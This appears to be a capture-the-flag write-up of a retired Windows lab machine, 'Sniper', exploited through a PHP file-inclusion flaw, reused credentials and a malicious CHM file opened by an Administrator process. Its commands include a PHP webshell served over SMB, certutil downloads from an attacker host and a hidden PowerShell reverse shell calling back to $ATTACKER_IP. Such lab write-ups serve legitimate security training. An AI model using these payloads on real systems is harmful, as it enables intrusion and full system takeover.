Sniper
Summary
Target sniper ($TARGET) ran a PHP blog application on IIS 10.0 whose lang GET parameter was passed raw to a PHP file-inclusion call. The parameter accepted UNC network paths as well as local ones, escalating a path-traversal read into full Remote File Inclusion: my own PHP webshell served over SMB executed code as the IIS service account.
A web-accessible PHP configuration file contained hardcoded MySQL credentials, and that same password was reused as the Windows login for local account Sniper\Chris. RunasCs.exe — staged via certutil — provided a stable interactive shell as Chris.
Deeper enumeration revealed a monitored drop folder (C:\Docs) where an Administrator-context scheduled process automatically opens any CHM file placed there with hh.exe. A purpose-built malicious CHM embedding an ActiveX ShortCut object that spawned a hidden PowerShell reverse shell was delivered via certutil and triggered by the privileged process, yielding Administrator command execution and full system control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for Chris>"Attack path — how the box was taken
Exact commands 2
Version and default-script scan against all open ports.
$ nmap -sV -sC -p 80,135,139,445,49667 $TARGET -oN sniper_nmap.txtConfirm the blog application and the lang GET parameter.
$ curl -sS -i http://$TARGET/blog/Exact commands 1
Path-traversal PoC; a [fonts] header in the response confirms LFI.
$ curl -sS "http://$TARGET/blog/index.php?lang=../../../../../../../../windows/win.ini"FixEliminate user-controlled file paths in the blog application's include logicCritical
Exact commands 2
Create the webshell and serve it over SMB; run in a dedicated terminal.
$ mkdir /tmp/sniper_rfi && printf '<?php system($_REQUEST["cmd"]); ?>' > /tmp/sniper_rfi/cmd.php && cd /tmp/sniper_rfi && impacket-smbserver share . -smb2supportTrigger RFI; expected response contains 'nt authority\iusr'.
$ curl -sS -X POST --data-urlencode 'cmd=whoami' "http://$TARGET/blog/?lang=//$ATTACKER_IP/share/cmd.php"
nt authority\iusrExact commands 1
Read the PHP database config; look for the $dbpass variable.
$ curl -sS -X POST --data-urlencode 'cmd=type C:\inetpub\wwwroot\user\db.php' "http://$TARGET/blog/?lang=//$ATTACKER_IP/share/cmd.php"FixRemove hardcoded credentials from web-accessible PHP source filesHigh
Exact commands 1
Validate the DB password against SMB; [+] result confirms the account is valid.
$ nxc smb $TARGET -u Chris -p "$PASSWORD" --sharesFixEnforce unique passwords for every account — stop reusing application passwords as OS login passwordsHigh
Exact commands 2
Stage RunasCs.exe to a writable system path via certutil.
$ curl -sS -X POST --data-urlencode "cmd=certutil -urlcache -f http://$ATTACKER_IP:9000/win/RunasCs.exe C:\Windows\Temp\RunasCs.exe" "http://$TARGET/blog/?lang=//$ATTACKER_IP/share/cmd.php"Execute as Chris and read user.txt; expected output: <user.txt>.
$ curl -sS --max-time 25 -X POST --data-urlencode 'cmd=C:\Windows\Temp\RunasCs.exe Chris "'"$PASSWORD"'" "cmd /c type C:\Users\Chris\Desktop\user.txt"' "http://$TARGET/blog/?lang=//$ATTACKER_IP/share/cmd.php"Exact commands 7
Read the drop-folder note as Chris to confirm the privileged review workflow.
$ curl -sS -X POST --data-urlencode 'cmd=C:\Windows\Temp\RunasCs.exe Chris "'"$PASSWORD"'" "cmd /c type C:\Docs\note.txt"' "http://$TARGET/blog/?lang=//$ATTACKER_IP/share/cmd.php"Create the CHM HTML page with the embedded ActiveX shortcut; replace IP/port with your listener values.
$ mkdir chm_build && cat > chm_build/doc.htm <<EOF
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="ShortCut">
<PARAM name="Item1" value=",cmd.exe,/c powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -c \"\$c=New-Object Net.Sockets.TCPClient('$ATTACKER_IP',5555);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){\$d=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$rb=[text.encoding]::ASCII.GetBytes(\$r);\$s.Write(\$rb,0,\$rb.Length)}\"">
</OBJECT>
EOFWrite the CHM project file and compile; requires fp-utils (apt install fp-utils). Output: documentation.chm.
$ cat > chm_build/doc.hhp << 'EOF'
[OPTIONS]
Compiled file=documentation.chm
Default Topic=doc.htm
[FILES]
doc.htm
EOF
cd chm_build && /usr/bin/chmcmd doc.hhpServe the compiled CHM over HTTP (run in background before delivery).
$ cd chm_build && python3 -m http.server 8010Start the reverse-shell listener before triggering the drop.
$ ncat -lvnp 5555Deliver the malicious CHM as Chris into the monitored folder; the privileged hh.exe process opens it automatically.
$ curl -sS -X POST --data-urlencode 'cmd=C:\Windows\Temp\RunasCs.exe Chris "'"$PASSWORD"'" "cmd /c certutil -urlcache -f http://'"$ATTACKER_IP"':8010/documentation.chm C:\Docs\documentation.chm"' "http://$TARGET/blog/?lang=//$ATTACKER_IP/share/cmd.php"Run on the caught reverse shell to confirm Administrator access and read root.txt (<root.txt>).
$ whoami && hostname && type C:\Users\Administrator\Desktop\root.txtFixRemove or harden the Administrator-context process that auto-opens files from C:\DocsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds? |
| 49667/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.